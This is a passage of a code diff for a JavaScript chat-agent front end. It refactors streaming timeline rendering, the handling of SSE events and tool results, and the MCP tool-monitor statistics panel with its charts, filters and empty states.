await new Promise(function (resolve) { requestAnimationFrame(resolve); });
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/** 流结束或非流式:富文本(已消毒的 HTML 字符串) */
|
/** 流结束或非流式:富文本(已消毒的 HTML 字符串) */
|
||||||
function setTimelineItemContentStreamRich(contentEl, html) {
|
function setTimelineItemContentStreamRich(contentEl, html) {
|
||||||
if (!contentEl) return;
|
if (!contentEl) return;
|
||||||
|
resetStreamPlainTextState(contentEl);
|
||||||
contentEl.classList.remove('timeline-stream-plain');
|
contentEl.classList.remove('timeline-stream-plain');
|
||||||
contentEl.innerHTML = html;
|
contentEl.innerHTML = html;
|
||||||
}
|
}
|
||||||
@@ -817,18 +998,12 @@ function openUserInterruptModal(progressId, conversationId) {
|
|||||||
if (ta) {
|
if (ta) {
|
||||||
ta.value = '';
|
ta.value = '';
|
||||||
}
|
}
|
||||||
const m = document.getElementById('user-interrupt-modal');
|
openAppModal('user-interrupt-modal');
|
||||||
if (m) {
|
|
||||||
m.style.display = 'block';
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
function closeUserInterruptModal() {
|
function closeUserInterruptModal() {
|
||||||
userInterruptModalPending = null;
|
userInterruptModalPending = null;
|
||||||
const m = document.getElementById('user-interrupt-modal');
|
closeAppModal('user-interrupt-modal');
|
||||||
if (m) {
|
|
||||||
m.style.display = 'none';
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
async function submitUserInterruptContinue() {
|
async function submitUserInterruptContinue() {
|
||||||
@@ -1054,6 +1229,9 @@ function integrateProgressToMCPSection(progressId, assistantMessageId, mcpExecut
|
|||||||
const progressElement = document.getElementById(progressId);
|
const progressElement = document.getElementById(progressId);
|
||||||
if (!progressElement) return;
|
if (!progressElement) return;
|
||||||
|
|
||||||
|
// 快照 innerHTML 前刷掉尚未执行的 rAF 流式更新,避免过程详情少最后几帧
|
||||||
|
flushAllPendingStreamPlainUpdates();
|
||||||
|
|
||||||
// Ensure any "running" tool_call badges are closed before we snapshot timeline HTML.
|
// Ensure any "running" tool_call badges are closed before we snapshot timeline HTML.
|
||||||
// Otherwise, once the progress element is removed, later 'done' events may not be able
|
// Otherwise, once the progress element is removed, later 'done' events may not be able
|
||||||
// to update the original timeline DOM and the copied HTML would stay "执行中".
|
// to update the original timeline DOM and the copied HTML would stay "执行中".
|
||||||
@@ -1668,7 +1846,7 @@ function handleStreamEvent(event, progressElement, progressId,
|
|||||||
if (item) {
|
if (item) {
|
||||||
const contentEl = item.querySelector('.timeline-item-content');
|
const contentEl = item.querySelector('.timeline-item-content');
|
||||||
if (contentEl) {
|
if (contentEl) {
|
||||||
setTimelineItemContentStreamPlain(contentEl, s.buffer);
|
scheduleStreamPlainTextUpdate(contentEl, s.buffer);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
@@ -1688,6 +1866,7 @@ function handleStreamEvent(event, progressElement, progressId,
|
|||||||
if (item) {
|
if (item) {
|
||||||
const contentEl = item.querySelector('.timeline-item-content');
|
const contentEl = item.querySelector('.timeline-item-content');
|
||||||
if (contentEl) {
|
if (contentEl) {
|
||||||
|
flushStreamPlainTextUpdate(contentEl);
|
||||||
if (typeof formatMarkdown === 'function') {
|
if (typeof formatMarkdown === 'function') {
|
||||||
setTimelineItemContentStreamRich(contentEl, formatMarkdown(s.buffer, timelineMarkdownOpts));
|
setTimelineItemContentStreamRich(contentEl, formatMarkdown(s.buffer, timelineMarkdownOpts));
|
||||||
} else {
|
} else {
|
||||||
@@ -1784,6 +1963,21 @@ function handleStreamEvent(event, progressElement, progressId,
|
|||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
case 'eino_empty_response_continue': {
|
||||||
|
const d = event.data || {};
|
||||||
|
const title = typeof window.t === 'function'
|
||||||
|
? window.t('chat.einoEmptyResponseContinueTitle')
|
||||||
|
: '🔁 自动续跑(无助手正文)';
|
||||||
|
addTimelineItem(timeline, 'warning', {
|
||||||
|
title: title,
|
||||||
|
message: event.message || (typeof window.t === 'function'
|
||||||
|
? window.t('chat.einoEmptyResponseContinueMessage')
|
||||||
|
: '会话已结束但未捕获到助手正文,正在基于轨迹自动续跑…'),
|
||||||
|
data: d
|
||||||
|
});
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
case 'eino_run_retry': {
|
case 'eino_run_retry': {
|
||||||
const d = event.data || {};
|
const d = event.data || {};
|
||||||
const title = typeof window.t === 'function'
|
const title = typeof window.t === 'function'
|
||||||
@@ -1865,45 +2059,9 @@ function handleStreamEvent(event, progressElement, progressId,
|
|||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
|
|
||||||
case 'tool_result_delta': {
|
case 'tool_result_delta':
|
||||||
const deltaInfo = event.data || {};
|
// 工具执行过程不流式展示,仅等 tool_result 展示最终结果。
|
||||||
const toolCallId = deltaInfo.toolCallId || null;
|
|
||||||
if (!toolCallId) break;
|
|
||||||
|
|
||||||
const key = toolResultStreamKey(progressId, toolCallId);
|
|
||||||
let state = toolResultStreamStateByKey.get(key);
|
|
||||||
const deltaText = event.message || '';
|
|
||||||
if (!deltaText) break;
|
|
||||||
|
|
||||||
if (!state) {
|
|
||||||
const mapping = getToolCallMapping(progressId, toolCallId);
|
|
||||||
let callItemId = mapping && mapping.itemId ? mapping.itemId : null;
|
|
||||||
if (callItemId) {
|
|
||||||
const callItem = document.getElementById(callItemId);
|
|
||||||
if (callItem) {
|
|
||||||
ensureToolCallResultSlot(callItem);
|
|
||||||
const section = callItem.querySelector('.tool-result-section');
|
|
||||||
if (section) {
|
|
||||||
section.classList.remove('pending');
|
|
||||||
section.className = 'tool-result-section success';
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
state = { itemId: callItemId, buffer: '', onCallItem: !!callItemId };
|
|
||||||
toolResultStreamStateByKey.set(key, state);
|
|
||||||
}
|
|
||||||
|
|
||||||
state.buffer += deltaText;
|
|
||||||
const item = state.itemId ? document.getElementById(state.itemId) : null;
|
|
||||||
if (item) {
|
|
||||||
const pre = item.querySelector('pre.tool-result');
|
|
||||||
if (pre) {
|
|
||||||
pre.classList.remove('tool-result-pending');
|
|
||||||
pre.textContent = state.buffer;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
break;
|
break;
|
||||||
}
|
|
||||||
|
|
||||||
case 'tool_result':
|
case 'tool_result':
|
||||||
const resultInfo = event.data || {};
|
const resultInfo = event.data || {};
|
||||||
@@ -2006,7 +2164,7 @@ function handleStreamEvent(event, progressElement, progressId,
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
if (contentEl) {
|
if (contentEl) {
|
||||||
setTimelineItemContentStreamPlain(contentEl, s.buffer);
|
scheduleStreamPlainTextUpdate(contentEl, s.buffer);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
@@ -2033,6 +2191,7 @@ function handleStreamEvent(event, progressElement, progressId,
|
|||||||
contentEl.className = 'timeline-item-content';
|
contentEl.className = 'timeline-item-content';
|
||||||
item.appendChild(contentEl);
|
item.appendChild(contentEl);
|
||||||
}
|
}
|
||||||
|
flushStreamPlainTextUpdate(contentEl);
|
||||||
if (typeof formatMarkdown === 'function') {
|
if (typeof formatMarkdown === 'function') {
|
||||||
setTimelineItemContentStreamRich(contentEl, formatMarkdown(full, timelineMarkdownOpts));
|
setTimelineItemContentStreamRich(contentEl, formatMarkdown(full, timelineMarkdownOpts));
|
||||||
} else {
|
} else {
|
||||||
@@ -2209,15 +2368,13 @@ function handleStreamEvent(event, progressElement, progressId,
|
|||||||
if (!deltaContent && streamBufferFromAccumulated(responseData) === null) break;
|
if (!deltaContent && streamBufferFromAccumulated(responseData) === null) break;
|
||||||
state.buffer = mergeStreamBuffer(state.buffer, deltaContent, responseData);
|
state.buffer = mergeStreamBuffer(state.buffer, deltaContent, responseData);
|
||||||
|
|
||||||
// 更新时间线条目内容
|
// 流式阶段仅追加纯文本;formatTimelineStreamBody 在终态 response 时一次性处理
|
||||||
if (state.itemId) {
|
if (state.itemId) {
|
||||||
const item = document.getElementById(state.itemId);
|
const item = document.getElementById(state.itemId);
|
||||||
if (item) {
|
if (item) {
|
||||||
const contentEl = item.querySelector('.timeline-item-content');
|
const contentEl = item.querySelector('.timeline-item-content');
|
||||||
if (contentEl) {
|
if (contentEl) {
|
||||||
const meta = state.streamMeta || responseData;
|
scheduleStreamPlainTextUpdate(contentEl, state.buffer);
|
||||||
const body = formatTimelineStreamBody(state.buffer, meta);
|
|
||||||
setTimelineItemContentStreamPlain(contentEl, body);
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -2262,14 +2419,18 @@ function handleStreamEvent(event, progressElement, progressId,
|
|||||||
updateAssistantBubbleContent(assistantIdFinal, event.message, true);
|
updateAssistantBubbleContent(assistantIdFinal, event.message, true);
|
||||||
}
|
}
|
||||||
|
|
||||||
// 移除 response_start/response_delta 阶段创建的「规划中」占位条目。
|
// 将 response_start/response_delta 占位固化为 planning,与后端落库一致后再快照过程详情
|
||||||
// 该条目属于 UI-only 的流式展示,不应被拷贝到最终的过程详情里;
|
|
||||||
// 否则会出现“不刷新页面仍显示规划中,刷新后消失”的不一致。
|
|
||||||
if (streamState && streamState.itemId) {
|
if (streamState && streamState.itemId) {
|
||||||
const planningItem = document.getElementById(streamState.itemId);
|
finalizeMainResponseStreamItem(streamState, event.message, responseData);
|
||||||
if (planningItem && planningItem.parentNode) {
|
} else if (event.message && String(event.message).trim()) {
|
||||||
planningItem.parentNode.removeChild(planningItem);
|
addTimelineItem(timeline, 'planning', {
|
||||||
}
|
title: typeof einoMainStreamPlanningTitle === 'function'
|
||||||
|
? einoMainStreamPlanningTitle(responseData)
|
||||||
|
: ('📝 ' + (typeof window.t === 'function' ? window.t('chat.planning') : '规划中')),
|
||||||
|
message: event.message,
|
||||||
|
data: responseData,
|
||||||
|
expanded: false
|
||||||
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
// 最终回复时隐藏进度卡片(多代理模式下,迭代过程已完整展示)
|
// 最终回复时隐藏进度卡片(多代理模式下,迭代过程已完整展示)
|
||||||
@@ -2290,6 +2451,11 @@ function handleStreamEvent(event, progressElement, progressId,
|
|||||||
const respMid = responseData.messageId;
|
const respMid = responseData.messageId;
|
||||||
if (respMid) {
|
if (respMid) {
|
||||||
applyBackendMessageIdToAssistantDom(assistantIdFinal, respMid);
|
applyBackendMessageIdToAssistantDom(assistantIdFinal, respMid);
|
||||||
|
if (typeof window.syncAssistantReasoningContentFromServer === 'function') {
|
||||||
|
setTimeout(function () {
|
||||||
|
window.syncAssistantReasoningContentFromServer(respMid, assistantIdFinal);
|
||||||
|
}, 400);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
setTimeout(() => {
|
setTimeout(() => {
|
||||||
@@ -2757,39 +2923,22 @@ async function attachRunningTaskEventStream(conversationId) {
|
|||||||
const reader = response.body.getReader();
|
const reader = response.body.getReader();
|
||||||
const decoder = new TextDecoder();
|
const decoder = new TextDecoder();
|
||||||
let buffer = '';
|
let buffer = '';
|
||||||
|
const dispatchTaskEvent = function (eventData) {
|
||||||
|
handleStreamEvent(eventData, null, progressId, getAssistantIdFn, setAssistantIdFn, function () { return mcpIds; }, function (ids) { mcpIds = mergeMcpExecutionIDLists(mcpIds, ids || []); });
|
||||||
|
};
|
||||||
while (true) {
|
while (true) {
|
||||||
const chunk = await reader.read();
|
const chunk = await reader.read();
|
||||||
if (chunk.done) break;
|
if (chunk.done) break;
|
||||||
buffer += decoder.decode(chunk.value, { stream: true });
|
buffer += decoder.decode(chunk.value, { stream: true });
|
||||||
const lines = buffer.split('\n');
|
const lines = buffer.split('\n');
|
||||||
buffer = lines.pop() || '';
|
buffer = lines.pop() || '';
|
||||||
for (let li = 0; li < lines.length; li++) {
|
await processSseDataLinesYielding(lines, dispatchTaskEvent);
|
||||||
const line = lines[li];
|
|
||||||
if (line.indexOf('data: ') === 0) {
|
|
||||||
try {
|
|
||||||
const eventData = JSON.parse(line.slice(6));
|
|
||||||
handleStreamEvent(eventData, null, progressId, getAssistantIdFn, setAssistantIdFn, function () { return mcpIds; }, function (ids) { mcpIds = mergeMcpExecutionIDLists(mcpIds, ids || []); });
|
|
||||||
} catch (e) {
|
|
||||||
console.error('task-events parse', e);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
// Flush decoder internal buffer to avoid dropping trailing partial UTF-8 bytes.
|
// Flush decoder internal buffer to avoid dropping trailing partial UTF-8 bytes.
|
||||||
buffer += decoder.decode();
|
buffer += decoder.decode();
|
||||||
if (buffer.trim()) {
|
if (buffer.trim()) {
|
||||||
const lines = buffer.split('\n');
|
const lines = buffer.split('\n');
|
||||||
for (let li = 0; li < lines.length; li++) {
|
await processSseDataLinesYielding(lines, dispatchTaskEvent);
|
||||||
const line = lines[li];
|
|
||||||
if (line.indexOf('data: ') === 0) {
|
|
||||||
try {
|
|
||||||
const eventData = JSON.parse(line.slice(6));
|
|
||||||
handleStreamEvent(eventData, null, progressId, getAssistantIdFn, setAssistantIdFn, function () { return mcpIds; }, function (ids) { mcpIds = mergeMcpExecutionIDLists(mcpIds, ids || []); });
|
|
||||||
} catch (e) {
|
|
||||||
console.error('task-events parse', e);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
if (window.csTaskReplay && window.csTaskReplay.progressId === progressId) {
|
if (window.csTaskReplay && window.csTaskReplay.progressId === progressId) {
|
||||||
clearCsTaskReplay();
|
clearCsTaskReplay();
|
||||||
@@ -2921,7 +3070,9 @@ function mergeToolResultIntoCallItem(item, data, options) {
|
|||||||
const pre = section.querySelector('pre.tool-result');
|
const pre = section.querySelector('pre.tool-result');
|
||||||
if (pre) {
|
if (pre) {
|
||||||
pre.classList.remove('tool-result-pending');
|
pre.classList.remove('tool-result-pending');
|
||||||
|
flushStreamPlainTextUpdate(pre);
|
||||||
pre.textContent = text;
|
pre.textContent = text;
|
||||||
|
resetStreamPlainTextState(pre);
|
||||||
}
|
}
|
||||||
|
|
||||||
if (data.executionId) {
|
if (data.executionId) {
|
||||||
@@ -3521,9 +3672,10 @@ async function applyMonitorFilters() {
|
|||||||
const statusFilter = document.getElementById('monitor-status-filter');
|
const statusFilter = document.getElementById('monitor-status-filter');
|
||||||
const toolFilter = document.getElementById('monitor-tool-filter');
|
const toolFilter = document.getElementById('monitor-tool-filter');
|
||||||
const status = statusFilter ? statusFilter.value : 'all';
|
const status = statusFilter ? statusFilter.value : 'all';
|
||||||
const tool = toolFilter ? (toolFilter.value.trim() || 'all') : 'all';
|
const toolRaw = toolFilter ? (toolFilter.value.trim() || 'all') : 'all';
|
||||||
|
const tool = toolRaw === 'all' ? 'all' : canonicalMonitorToolName(toolRaw);
|
||||||
if (toolFilter) {
|
if (toolFilter) {
|
||||||
toolFilter.classList.toggle('is-filter-active', tool !== 'all');
|
toolFilter.classList.toggle('is-filter-active', toolRaw !== 'all');
|
||||||
}
|
}
|
||||||
// 当筛选条件改变时,从后端重新获取数据
|
// 当筛选条件改变时,从后端重新获取数据
|
||||||
await refreshMonitorPanelWithFilter(status, tool);
|
await refreshMonitorPanelWithFilter(status, tool);
|
||||||
@@ -3699,7 +3851,7 @@ function buildMcpTimelineSvg(points, rangeKey) {
|
|||||||
const tipTime = formatMcpTimelineLabel(c.p.t, rangeKey, locale);
|
const tipTime = formatMcpTimelineLabel(c.p.t, rangeKey, locale);
|
||||||
const isPeak = c.i === peakIdx && (c.p.total || 0) > 0;
|
const isPeak = c.i === peakIdx && (c.p.total || 0) > 0;
|
||||||
const dotClass = 'mcp-stats-timeline-dot' + (isPeak ? ' mcp-stats-timeline-dot--peak' : '');
|
const dotClass = 'mcp-stats-timeline-dot' + (isPeak ? ' mcp-stats-timeline-dot--peak' : '');
|
||||||
return `<circle class="${dotClass}" cx="${c.x.toFixed(2)}" cy="${c.y.toFixed(2)}" r="${isPeak ? 3 : 2.5}"
|
return `<circle class="${dotClass}" cx="${c.x.toFixed(2)}" cy="${c.y.toFixed(2)}" r="${isPeak ? 2 : 1.5}"
|
||||||
data-time="${escapeHtml(tipTime)}"
|
data-time="${escapeHtml(tipTime)}"
|
||||||
data-total="${c.p.total || 0}"
|
data-total="${c.p.total || 0}"
|
||||||
data-failed="${c.p.failed || 0}" />`;
|
data-failed="${c.p.failed || 0}" />`;
|
||||||
@@ -3707,7 +3859,7 @@ function buildMcpTimelineSvg(points, rangeKey) {
|
|||||||
|
|
||||||
const peakC = coords[peakIdx];
|
const peakC = coords[peakIdx];
|
||||||
const peakMarker = (peakC.p.total || 0) > 0
|
const peakMarker = (peakC.p.total || 0) > 0
|
||||||
? `<circle class="mcp-stats-timeline-peak-glow" cx="${peakC.x.toFixed(2)}" cy="${peakC.y.toFixed(2)}" r="7" />`
|
? `<circle class="mcp-stats-timeline-peak-glow" cx="${peakC.x.toFixed(2)}" cy="${peakC.y.toFixed(2)}" r="5" />`
|
||||||
: '';
|
: '';
|
||||||
|
|
||||||
return `<svg class="mcp-stats-timeline__chart" viewBox="0 0 ${W} ${H}" preserveAspectRatio="none" aria-hidden="true">
|
return `<svg class="mcp-stats-timeline__chart" viewBox="0 0 ${W} ${H}" preserveAspectRatio="none" aria-hidden="true">
|
||||||
@@ -3855,7 +4007,9 @@ async function setMcpMonitorTimelineRange(range) {
|
|||||||
monitorState.timeline = timelineJson;
|
monitorState.timeline = timelineJson;
|
||||||
const timelineInner = document.querySelector('#monitor-stats .mcp-stats-combined__timeline-inner');
|
const timelineInner = document.querySelector('#monitor-stats .mcp-stats-combined__timeline-inner');
|
||||||
if (timelineInner) {
|
if (timelineInner) {
|
||||||
timelineInner.innerHTML = renderMcpStatsTimelineBody(monitorState.timeline, monitorState.timelineError);
|
const combined = timelineInner.closest('.mcp-stats-combined');
|
||||||
|
const compactEmpty = combined && !!combined.querySelector('.mcp-stats-combined__main');
|
||||||
|
timelineInner.innerHTML = renderMcpStatsTimelineBody(monitorState.timeline, monitorState.timelineError, compactEmpty);
|
||||||
bindMcpStatsTimelineEvents();
|
bindMcpStatsTimelineEvents();
|
||||||
syncMcpMonitorTimelineRangeUI(range);
|
syncMcpMonitorTimelineRangeUI(range);
|
||||||
} else if (monitorState.stats && Object.keys(monitorState.stats).length > 0) {
|
} else if (monitorState.stats && Object.keys(monitorState.stats).length > 0) {
|
||||||
@@ -3865,7 +4019,9 @@ async function setMcpMonitorTimelineRange(range) {
|
|||||||
monitorState.timelineError = err.message || 'error';
|
monitorState.timelineError = err.message || 'error';
|
||||||
const timelineInner = document.querySelector('#monitor-stats .mcp-stats-combined__timeline-inner');
|
const timelineInner = document.querySelector('#monitor-stats .mcp-stats-combined__timeline-inner');
|
||||||
if (timelineInner) {
|
if (timelineInner) {
|
||||||
timelineInner.innerHTML = renderMcpStatsTimelineBody(monitorState.timeline, monitorState.timelineError);
|
const combined = timelineInner.closest('.mcp-stats-combined');
|
||||||
|
const compactEmpty = combined && !!combined.querySelector('.mcp-stats-combined__main');
|
||||||
|
timelineInner.innerHTML = renderMcpStatsTimelineBody(monitorState.timeline, monitorState.timelineError, compactEmpty);
|
||||||
bindMcpStatsTimelineEvents();
|
bindMcpStatsTimelineEvents();
|
||||||
syncMcpMonitorTimelineRangeUI(range);
|
syncMcpMonitorTimelineRangeUI(range);
|
||||||
}
|
}
|
||||||
@@ -3883,7 +4039,21 @@ function renderMcpStatsTimelineRangeButtons() {
|
|||||||
}).join('');
|
}).join('');
|
||||||
}
|
}
|
||||||
|
|
||||||
function renderMcpStatsTimelineBody(timeline, timelineError) {
|
const MCP_TIMELINE_EMPTY_ICON = '<svg class="mcp-stats-timeline-empty-state__icon" width="40" height="40" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><polyline points="22 12 18 12 15 21 9 3 6 12 2 12"/></svg>';
|
||||||
|
|
||||||
|
function renderMcpStatsTimelineEmptyState(compact) {
|
||||||
|
const noData = mcpMonitorT('timelineNoData') || monitorFallback('该时段暂无调用', 'No calls in this period');
|
||||||
|
const emptyHint = mcpMonitorT('timelineEmptyHint')
|
||||||
|
|| monitorFallback('切换时间范围查看其他时段,或在对话/任务中调用 MCP 工具', 'Switch the time range or invoke MCP tools in chat or tasks');
|
||||||
|
const compactClass = compact ? ' mcp-stats-timeline-empty-state--compact' : '';
|
||||||
|
return `<div class="mcp-stats-timeline-empty-state${compactClass}">
|
||||||
|
${MCP_TIMELINE_EMPTY_ICON}
|
||||||
|
<p class="mcp-stats-timeline-empty-state__title">${escapeHtml(noData)}</p>
|
||||||
|
<p class="mcp-stats-timeline-empty-state__hint">${escapeHtml(emptyHint)}</p>
|
||||||
|
</div>`;
|
||||||
|
}
|
||||||
|
|
||||||
|
function renderMcpStatsTimelineBody(timeline, timelineError, compactEmpty) {
|
||||||
const hint = mcpMonitorT('timelineHint') || monitorFallback('全部工具合计', 'All tools combined');
|
const hint = mcpMonitorT('timelineHint') || monitorFallback('全部工具合计', 'All tools combined');
|
||||||
|
|
||||||
if (timelineError) {
|
if (timelineError) {
|
||||||
@@ -3898,8 +4068,7 @@ function renderMcpStatsTimelineBody(timeline, timelineError) {
|
|||||||
|| `区间内 ${summaryTotal} 次 · 峰值 ${peak}`;
|
|| `区间内 ${summaryTotal} 次 · 峰值 ${peak}`;
|
||||||
|
|
||||||
if (points.length === 0 || summaryTotal === 0) {
|
if (points.length === 0 || summaryTotal === 0) {
|
||||||
const noData = mcpMonitorT('timelineNoData') || monitorFallback('该时段暂无调用', 'No calls in this period');
|
return renderMcpStatsTimelineEmptyState(!!compactEmpty);
|
||||||
return `<p class="mcp-stats-timeline-empty">${escapeHtml(noData)}</p>`;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
const rangeKey = timeline.range || getMcpMonitorTimelineRange();
|
const rangeKey = timeline.range || getMcpMonitorTimelineRange();
|
||||||
@@ -3930,9 +4099,10 @@ function renderMcpStatsCombinedSection(topTools, totals, activeToolFilter, timel
|
|||||||
|
|
||||||
if (!hasTools && !showTimeline) return '';
|
if (!hasTools && !showTimeline) return '';
|
||||||
|
|
||||||
|
const filterChipLabel = activeToolFilter ? formatMonitorToolName(activeToolFilter) : '';
|
||||||
const filterChip = activeToolFilter
|
const filterChip = activeToolFilter
|
||||||
? `<span class="mcp-stats-filter-chip" title="${escapeHtml(mcpMonitorT('filterByToolTitle', { tool: activeToolFilter }) || activeToolFilter)}">
|
? `<span class="mcp-stats-filter-chip" title="${escapeHtml(mcpMonitorT('filterByToolTitle', { tool: filterChipLabel }) || filterChipLabel)}">
|
||||||
<span class="mcp-stats-filter-chip__label">${escapeHtml(mcpMonitorT('filterActive', { tool: activeToolFilter }) || `已筛选:${activeToolFilter}`)}</span>
|
<span class="mcp-stats-filter-chip__label">${escapeHtml(mcpMonitorT('filterActive', { tool: filterChipLabel }) || `已筛选:${filterChipLabel}`)}</span>
|
||||||
<button type="button" class="mcp-stats-filter-chip__clear mcp-stats-clear-filter" aria-label="${escapeHtml(mcpMonitorT('clearToolFilter') || '清除工具筛选')}">×</button>
|
<button type="button" class="mcp-stats-filter-chip__clear mcp-stats-clear-filter" aria-label="${escapeHtml(mcpMonitorT('clearToolFilter') || '清除工具筛选')}">×</button>
|
||||||
</span>`
|
</span>`
|
||||||
: '';
|
: '';
|
||||||
@@ -3951,7 +4121,7 @@ function renderMcpStatsCombinedSection(topTools, totals, activeToolFilter, timel
|
|||||||
const timelineCol = showTimeline
|
const timelineCol = showTimeline
|
||||||
? `<div class="mcp-stats-combined__timeline">
|
? `<div class="mcp-stats-combined__timeline">
|
||||||
<p class="mcp-stats-combined__col-label">${escapeHtml(timelineTitle)}</p>
|
<p class="mcp-stats-combined__col-label">${escapeHtml(timelineTitle)}</p>
|
||||||
<div class="mcp-stats-combined__timeline-inner">${renderMcpStatsTimelineBody(timeline, timelineError)}</div>
|
<div class="mcp-stats-combined__timeline-inner">${renderMcpStatsTimelineBody(timeline, timelineError, hasTools)}</div>
|
||||||
</div>`
|
</div>`
|
||||||
: '';
|
: '';
|
||||||
|
|
||||||
@@ -4372,7 +4542,7 @@ function updateMonitorStatsSubtitle(lastFetchedAt, toolCount) {
|
|||||||
function filterMonitorByTool(toolName) {
|
function filterMonitorByTool(toolName) {
|
||||||
const toolFilter = document.getElementById('monitor-tool-filter');
|
const toolFilter = document.getElementById('monitor-tool-filter');
|
||||||
if (!toolFilter || !toolName) return;
|
if (!toolFilter || !toolName) return;
|
||||||
toolFilter.value = toolName;
|
toolFilter.value = formatMonitorToolName(toolName);
|
||||||
toolFilter.classList.add('is-filter-active');
|
toolFilter.classList.add('is-filter-active');
|
||||||
applyMonitorFilters();
|
applyMonitorFilters();
|
||||||
const execSection = document.querySelector('.monitor-executions');
|
const execSection = document.querySelector('.monitor-executions');
|
||||||
@@ -4504,7 +4674,8 @@ function renderMcpStatsToolTable(topTools, totals, activeToolFilter = '') {
|
|||||||
|
|
||||||
let rowsHtml = '';
|
let rowsHtml = '';
|
||||||
topTools.forEach((tool, index) => {
|
topTools.forEach((tool, index) => {
|
||||||
const name = tool.toolName || unknownToolLabel;
|
const rawName = tool.toolName || unknownToolLabel;
|
||||||
|
const name = formatMonitorToolName(rawName);
|
||||||
const total = tool.totalCalls || 0;
|
const total = tool.totalCalls || 0;
|
||||||
const success = tool.successCalls || 0;
|
const success = tool.successCalls || 0;
|
||||||
const failed = tool.failedCalls || 0;
|
const failed = tool.failedCalls || 0;
|
||||||
@@ -4512,14 +4683,14 @@ function renderMcpStatsToolTable(topTools, totals, activeToolFilter = '') {
|
|||||||
const toolRate = toolRateNum.toFixed(1);
|
const toolRate = toolRateNum.toFixed(1);
|
||||||
const sharePct = totals.total > 0 ? ((total / totals.total) * 100).toFixed(1) : '0.0';
|
const sharePct = totals.total > 0 ? ((total / totals.total) * 100).toFixed(1) : '0.0';
|
||||||
const dotColor = MCP_STATS_DIST_COLORS[index % MCP_STATS_DIST_COLORS.length];
|
const dotColor = MCP_STATS_DIST_COLORS[index % MCP_STATS_DIST_COLORS.length];
|
||||||
const isActive = activeToolFilter && activeToolFilter === name;
|
const isActive = activeToolFilter && monitorToolNamesEqual(activeToolFilter, rawName);
|
||||||
const rateClass = getMcpToolRateClass(toolRateNum);
|
const rateClass = getMcpToolRateClass(toolRateNum);
|
||||||
const rankClass = index === 0 ? ' rank-1' : index === 1 ? ' rank-2' : index === 2 ? ' rank-3' : '';
|
const rankClass = index === 0 ? ' rank-1' : index === 1 ? ' rank-2' : index === 2 ? ' rank-3' : '';
|
||||||
const rowAria = mcpMonitorT('toolRowAriaLabel', { name, total, rate: toolRate })
|
const rowAria = mcpMonitorT('toolRowAriaLabel', { name, total, rate: toolRate })
|
||||||
|| `${name},${total} 次调用,成功率 ${toolRate}%`;
|
|| `${name},${total} 次调用,成功率 ${toolRate}%`;
|
||||||
rowsHtml += `
|
rowsHtml += `
|
||||||
<tr class="mcp-stats-tool-row${isActive ? ' is-active' : ''}"
|
<tr class="mcp-stats-tool-row${isActive ? ' is-active' : ''}"
|
||||||
data-tool-name="${escapeHtml(name)}"
|
data-tool-name="${escapeHtml(rawName)}"
|
||||||
tabindex="0"
|
tabindex="0"
|
||||||
role="button"
|
role="button"
|
||||||
aria-label="${escapeHtml(rowAria)}"
|
aria-label="${escapeHtml(rowAria)}"
|
||||||
@@ -4568,14 +4739,15 @@ function renderMcpStatsToolsPanel(topTools, totals, activeToolFilter = '') {
|
|||||||
const distAria = mcpMonitorT('distTitle') || '调用分布';
|
const distAria = mcpMonitorT('distTitle') || '调用分布';
|
||||||
|
|
||||||
const stackedHtml = segments.map((s) => {
|
const stackedHtml = segments.map((s) => {
|
||||||
const isActive = !s.isOthers && activeToolFilter && activeToolFilter === s.name;
|
const isActive = !s.isOthers && activeToolFilter && monitorToolNamesEqual(activeToolFilter, s.name);
|
||||||
const title = `${s.name} · ${s.pct}% · ${s.calls}`;
|
const displayName = s.isOthers ? s.name : formatMonitorToolName(s.name);
|
||||||
|
const title = `${displayName} · ${s.pct}% · ${s.calls}`;
|
||||||
if (s.isOthers) {
|
if (s.isOthers) {
|
||||||
return `<span class="mcp-stats-proportion-seg is-others" data-is-others="1" role="presentation"
|
return `<span class="mcp-stats-proportion-seg is-others" data-is-others="1" role="presentation"
|
||||||
style="flex:${s.pctNum} 1 0;background:${s.color}" title="${escapeHtml(title)}"></span>`;
|
style="flex:${s.pctNum} 1 0;background:${s.color}" title="${escapeHtml(title)}"></span>`;
|
||||||
}
|
}
|
||||||
const segAria = mcpMonitorT('distSegmentAria', { name: s.name, pct: s.pct, calls: s.calls })
|
const segAria = mcpMonitorT('distSegmentAria', { name: displayName, pct: s.pct, calls: s.calls })
|
||||||
|| `${s.name},占 ${s.pct}%,${s.calls} 次`;
|
|| `${displayName},占 ${s.pct}%,${s.calls} 次`;
|
||||||
return `<span class="mcp-stats-proportion-seg${isActive ? ' is-active' : ''}"
|
return `<span class="mcp-stats-proportion-seg${isActive ? ' is-active' : ''}"
|
||||||
data-tool-name="${escapeHtml(s.name)}" data-pct="${s.pct}" data-calls="${s.calls}" data-is-others="0"
|
data-tool-name="${escapeHtml(s.name)}" data-pct="${s.pct}" data-calls="${s.calls}" data-is-others="0"
|
||||||
role="button" tabindex="0" aria-label="${escapeHtml(segAria)}"
|
role="button" tabindex="0" aria-label="${escapeHtml(segAria)}"
|
||||||
@@ -4584,7 +4756,8 @@ function renderMcpStatsToolsPanel(topTools, totals, activeToolFilter = '') {
|
|||||||
|
|
||||||
